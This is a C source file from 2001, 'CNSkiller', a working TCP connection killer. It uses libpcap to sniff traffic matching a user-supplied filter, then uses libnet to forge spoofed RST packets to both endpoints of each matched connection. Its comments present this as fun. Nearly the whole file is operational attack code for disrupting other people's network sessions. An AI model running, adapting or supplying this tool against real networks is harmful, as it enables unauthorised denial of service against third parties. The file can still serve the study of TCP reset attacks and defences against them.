/*
 * CNSkiller - use libpcap and libnet - lame TCP connection killer
 * Copyright (C) 2001  CNS <cns@minithins.net>
 * http://www.minithins.net
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

/*
 * YOU HAVE TO INSTALL LIBPCAP BEFORE ANY COMPILATION.
 * IF YOU DON'T HAVE LIBPCAP (http://www.tcpdump.org), I M PRETTY SURE
 *  THAT THIS PROGRAM WON'T COMPILE :)
 */

/*
 * This tool ll listen a network (anyway what it can listen :-)), and ll
 * send R tcp flags paquets to reset some tcp connections. Funny :p
 */

/*
 * Include files. signal.h is used to handle the SIGINT (Ctrl+C)
 */
#include <stdio.h>
#include <pcap.h>
#include <libnet.h>

#include <signal.h>
#include <string.h>
#include <netdb.h>

/*
 * Personnal notice
 */
#define VERSION "CNSkiller, Tcp connection killer with libpcap & libnet, by CNS\n"
#define VERSION2 "cns@minithins.net, http://minithins.net\n"
#define VERSION3 "0.0.1b, (Sat Mar 10 12:31:46 CET 2001)\n";

/*
 * Very dirty code :-)
 *
 * Some pcap vars, and getopt vars.
 *
 */

/* Pcap descriptor */
pcap_t *desc;
int devtype;
int devlen;
/* Pcap stat descriptor */
struct pcap_stat *ps;
/* Pcap dumper descriptor */
pcap_dumper_t *logger;
/* arguments for getopt */
extern char *optarg;
extern int optind;
extern int opterr;
/* Number of treated packets */
int trait;
/* Quiet mode ? */
int quiet;
int mode_read, mode_write;

/* Ip structure ... */
struct iphdr {
#ifdef _IP_VHL
        u_char  ip_vhl;                 /* version << 4 | header length >> 2 */
#else
#if BYTE_ORDER == LITTLE_ENDIAN
        u_int   ip_hl:4,                /* header length */
                ip_v:4;                 /* version */
#endif
#if BYTE_ORDER == BIG_ENDIAN
        u_int   ip_v:4,                 /* version */
                ip_hl:4;                /* header length */
#endif
#endif /* not _IP_VHL */
        u_char  ip_tos;                 /* type of service */
        u_short ip_len;                 /* total length */
        u_short ip_id;                  /* identification */
        u_short ip_off;                 /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
        u_char  ip_ttl;                 /* time to live */
        u_char  ip_p;                   /* protocol */
        u_short ip_sum;                 /* checksum */
        struct  in_addr ip_src,ip_dst;  /* source and dest address */
};

/* Usefull to know what kind of layer 2 support we are listening ... */
typedef struct datalink_type {
        char name[32];
        int  length;
        } datalink_data;

/* huh ... */
const datalink_data datalink_main[] = {
        { "no link-layer encapsulation", 4 },
        { "Ethernet (10Mb)", 14 },
        { "Experimental Ethernet (3Mb)", 0 },    /* A REMPLIR */
        { "Amateur Radio AX.25", 0 },            /* A REMPLIR */
        { "Proteon ProNET Token Ring", 0 },      /* A REMPLIR */
        { "Chaos", 0 },                          /* A REMPLIR */
        { "IEEE 802 Networks", 0 },              /* A REMPLIR */
        { "ARCNET", 0 },                         /* A REMPLIR */
        { "Serial Line IP", 0 },                 /* A REMPLIR */
        { "Point-to-point Protocol", 0 },        /* A REMPLIR */
        { "FDDI", 0 },                           /* A REMPLIR */
        { "LLC/SNAP encapsulated atm", 0 },      /* A REMPLIR */
        { "raw IP", 0 },                         /* A REMPLIR */
        { "BSD/OS Serial Line IP", 0 },          /* A REMPLIR */
        { "BSD/OS Point-to-point Protocol", 0 }, /* A REMPLIR */
        { "napu", 0}
        };

/*
 * Returns char* with type of layer 2 support.
 */
char *datalink_name(int datalink_type)
{
char *nom;
nom = (char *)malloc(sizeof(char) * 32);
strcpy(nom, datalink_main[datalink_type].name);
return(nom);
}
/*
 * If any user send SIGINT (signal 2), then we:
 */
void status(int signal)
{
if (!mode_read)
	pcap_stats(desc,ps);
printf("\n");
if (logger != NULL)
	pcap_dump_close(logger);

pcap_close(desc);
if (!quiet && !mode_read)
	printf("Total: %6i recv, (%i traités) %6i drop\n",
					ps->ps_recv,trait,ps->ps_drop);
if (!quiet && mode_read)
	printf("Total: %6i recv, (%i traités) %6i drop\n",
					trait,trait,0);
if (!quiet)
	printf("End. (signal %d)\n",signal);
exit(0);
}

/*
 * Translate host name to Ip adress.
 */
unsigned int resolv(char *rhost)
{
struct hostent *resolved;
unsigned int res=0,i;
resolved = gethostbyname(rhost);

if (resolved == NULL)
        {
        printf("gethostbyname() failed\n");
        exit(1);
        }

sprintf(rhost,"%d.%d.%d.%d",(unsigned char)resolved->h_addr_list[0][0],
			(unsigned char)resolved->h_addr_list[0][1],
			(unsigned char)resolved->h_addr_list[0][2],
			(unsigned char)resolved->h_addr_list[0][3]);

return(inet_addr(rhost));
}

/*
 * Check if the paquet is a TCP paquet, and if it is enough big
 */
int good_tcp_paquet(int len, u_char *paquet)
{

// >> enougth to have ip header at [0]
paquet += devlen;
len -= devlen;
if (len >= sizeof(struct iphdr) + sizeof(struct tcphdr))
	if (((struct iphdr*)paquet)->ip_p == 6)
	if (((struct tcphdr*)(sizeof(struct iphdr)+paquet))->th_flags == TH_ACK)
			return(1);
return (0);
}
/*
 * Function from tcpdump (util.c)
 */
char *takerule(register char **argv)
{
        register char **p;
        register u_int len = 0;
        char *buf;
        char *src, *dst;
        p = argv;
        if (*p == 0)
                return 0;
        while (*p)
                len += strlen(*p++) + 1;
        buf = (char *)malloc(len);
        if (buf == NULL)
		{
		perror("malloc");
		printf("it is better to end now.\n");
		exit(2);
		}
        p = argv;
        dst = buf;
        while ((src = *p++) != NULL) {
                while ((*dst++ = *src++) != '\0')
                        ;
                dst[-1] = ' ';
        }
        dst[-1] = '\0';
        return buf;
}

int main(int argn, char **argv)
{
char *device, *file_read, *file_write, *cmd, *cmd2;
unsigned int area, packetlen,c;
u_char *packet, *lnpacket1,*lnpacket2, *errbuf;
struct pcap_pkthdr usefull;
struct bpf_program fcode;
bpf_u_int32 localnet, netmask;
int i,j,k,arg,snap;
struct tm *mytime;
struct sockaddr_in sin;

struct sigaction myend;
myend.sa_handler = (void*)status;
myend.sa_flags = 0 ;
sigaction(SIGINT,&myend,NULL);

mode_read = 0; mode_write = 0; snap = 1518; trait = 0; quiet = 0;
device = NULL;
//       pcap_t *pcap_open_offline(char *fname, char *ebuf)
//       pcap_dumper_t *pcap_dump_open(pcap_t *p, char *fname)

while ((arg = getopt(argn, argv, "hqr:w:i:S:")) != EOF)
        {
        switch(arg)
		{
		case 'S':
		snap = atoi(optarg);
		printf("Snaplen changed to: %i\n",snap);
		break;
                case 'i': // -i xl0  == pour choisir l'interface sniff<E9>e.
                //if (optarg != NULL)
		device=optarg;
                printf("Interface changed for %s\n",device);
		break;
		case 'r':
		printf("Read file: %s\n",optarg);
		mode_read = 1;
		file_read = optarg;
		break;
		case 'w':
		printf("Write file: %s\n",optarg);
		mode_write = 1;
		file_write = optarg;
		break;
		case 'q':
		quiet = 1;
		break;
		case 'h':
		default:
		printf(VERSION);
		printf(VERSION2);
		printf("pKiller Use:\n");
		printf("./%s [rule]\n",argv[0]);
		printf("Example: ./%s host 192.168.0.1 and port 23\n");
		printf("   will reset all connections with this ip and this port in the packet.\n");
		printf("Sniffer options:\n");
		printf("  -i [interface] - change default interface\n");
		printf("  -r [file] - read a dump file\n");
		printf("  -w [file] - write a dump file\n");
		printf("  -S [snaplen] - choose a snap length\n");
		printf("  -D - push in daemon mode (quiet mode is engaged)\n");
		printf("  -q - push in quied mode\n");
		printf("  -h - this help\n");
		exit(1);
		break;
		}
	}

if (getuid())
        {
        printf("You re not root. Then we stop !\n");
        exit(1);
        }

if (argv[optind] != NULL)
	{
	cmd = takerule(&argv[optind]);
	printf("Rule: [%s]\n",cmd);
#ifdef RULE_TEST
	cmd2 = (char*)malloc(sizeof(char)*1024);
	strcpy(cmd2,"host 192.168.0.2 and icmp");
	printf("Rule 2: [%s]\n",cmd2);
#endif
	}
else
	cmd = NULL;

if (device == NULL)
	device = pcap_lookupdev(NULL);

if (!mode_read)
	{
	if (libnet_select_device(&sin,&device, errbuf) == -1)
	//if (libnet_open_link_interface(device, errbuf))
		{
		printf("libnet_select_device: %s\n",errbuf);
		exit (0);
		}
	else
        	printf("device: %s\n",device);
	desc = pcap_open_live(device, snap, 1, 1000, NULL);
	}
else
	desc = pcap_open_offline(file_read, NULL);

i= pcap_snapshot(desc);

if (i != snap)
	printf("Snap length changed: %i --> %i\n",snap,i);

if (desc == NULL)
        {
        perror("pcap_open_live");
        printf("End.\n");
        exit(1);
        }

if (mode_write)
	{
        if((logger = pcap_dump_open(desc,file_write))==NULL)
		{
		perror("Warning: pcap_dump_open");
		printf("No more dump ll be done\n");
		mode_write = 0;
		}	
	}

if (!mode_read)
	{
	printf("Listening on %s: ",device);
	devtype = pcap_datalink(desc);
	devlen = datalink_main[devtype].length; 
	printf("it is a pretty [%s] link ...(%i)\n",datalink_name(devtype),devlen);
	}
else
	printf("Reading %s\n",file_read);

if (pcap_lookupnet(device, &localnet, &netmask, NULL)<0)
	perror("pcap_lookupnet");
if (pcap_compile(desc,&fcode,cmd,1,localnet)<0)
	perror("pcap_compile");
#ifdef RULE_TEST
if (pcap_compile(desc,&fcode,cmd2,1,localnet)<0)
	perror("pcap_compile");
#endif
if (pcap_setfilter(desc, &fcode) < 0)
	perror("pcap_setfilter");

if (!mode_read)
	{
	ps = (struct pcap_stat*)malloc(sizeof(struct pcap_stat));
	if (pcap_stats(desc,ps))
		perror("pcap_stats");
	}
/************** libnet initialization *******************/

libnet_init_packet(sizeof(struct tcphdr) 
			+ sizeof(struct iphdr), &lnpacket1);
libnet_init_packet(sizeof(struct tcphdr)
			+ sizeof(struct iphdr), &lnpacket2);
packetlen = sizeof(struct tcphdr) + sizeof(struct iphdr);
if (lnpacket1 == NULL || lnpacket2 == NULL)
        {
        printf("I think you should buy more memory :-)\n");
        exit(1);
        }

if ((area = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
        {
        printf("I think your network can't recieve any raw Ip packets :(\n");
        exit(1);
        }


while (1)
        {
        packet = (u_char *) pcap_next(desc, &usefull);
        if (packet != NULL)
                {
		if (good_tcp_paquet(usefull.caplen, packet))
			{	
			// ok. Now we reset. I ll be fun, you ll see :-)

libnet_build_ip(LIBNET_TCP_H, IPTOS_LOWDELAY, 242, 0, 48, IPPROTO_TCP,
	((struct iphdr*)(packet+devlen))->ip_dst.s_addr,
	((struct iphdr*)(packet+devlen))->ip_src.s_addr,
	NULL, 0, lnpacket1);
libnet_build_tcp(
	htons(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_dport),
	htons(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_sport),
	htonl(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_ack),
	htonl(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_seq),	
	TH_RST|TH_ACK,17520,0,NULL,0,lnpacket1+LIBNET_IP_H);
if(!quiet)
printf("seq: %x - ack: %x (%i-%i) ",
	htonl(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_ack),
	htonl(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_seq),
	htons(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_sport),
	htons(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_dport)
	);
libnet_build_ip(LIBNET_TCP_H, IPTOS_LOWDELAY, 242, 0, 48, IPPROTO_TCP,
	((struct iphdr*)(packet+devlen))->ip_src.s_addr,
        ((struct iphdr*)(packet+devlen))->ip_dst.s_addr,
        NULL, 0, lnpacket2);
libnet_build_tcp(
        htons(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_sport),
	htons(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_dport),
	htonl(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_ack),
	htonl(((struct tcphdr*)(packet+devlen+sizeof(struct iphdr)))->th_seq),
	TH_RST,17520,0,NULL,0,lnpacket2+LIBNET_IP_H);


if(libnet_do_checksum(lnpacket1, IPPROTO_TCP, LIBNET_TCP_H) == -1 || 
	libnet_do_checksum(lnpacket2, IPPROTO_TCP, LIBNET_TCP_H) == -1
	) {
	        printf("Your packet can't be checksumed ... oh ..\n");
        	exit(1);
        }

c = libnet_write_ip(area,lnpacket1,packetlen);
if (!quiet)
	if (c < packetlen)
		printf("sent %i bytes (on %i bytes)\n",c,packetlen);
	else printf("[send %i (%i) bytes]\n",c,packetlen);
c = libnet_write_ip(area,lnpacket2,packetlen);
if (!quiet)
	if (c < packetlen)
        	printf("sent %i bytes (on %i bytes)\n",c,packetlen);
	else printf("[send %i bytes]\n",c);
			}
		else
			{
//	                mytime = localtime(&usefull.ts.tv_sec);
			if (mode_write)
				pcap_dump((u_char*)logger,&usefull,packet);
			}
		trait ++;
		}
	}	
return (0);
}

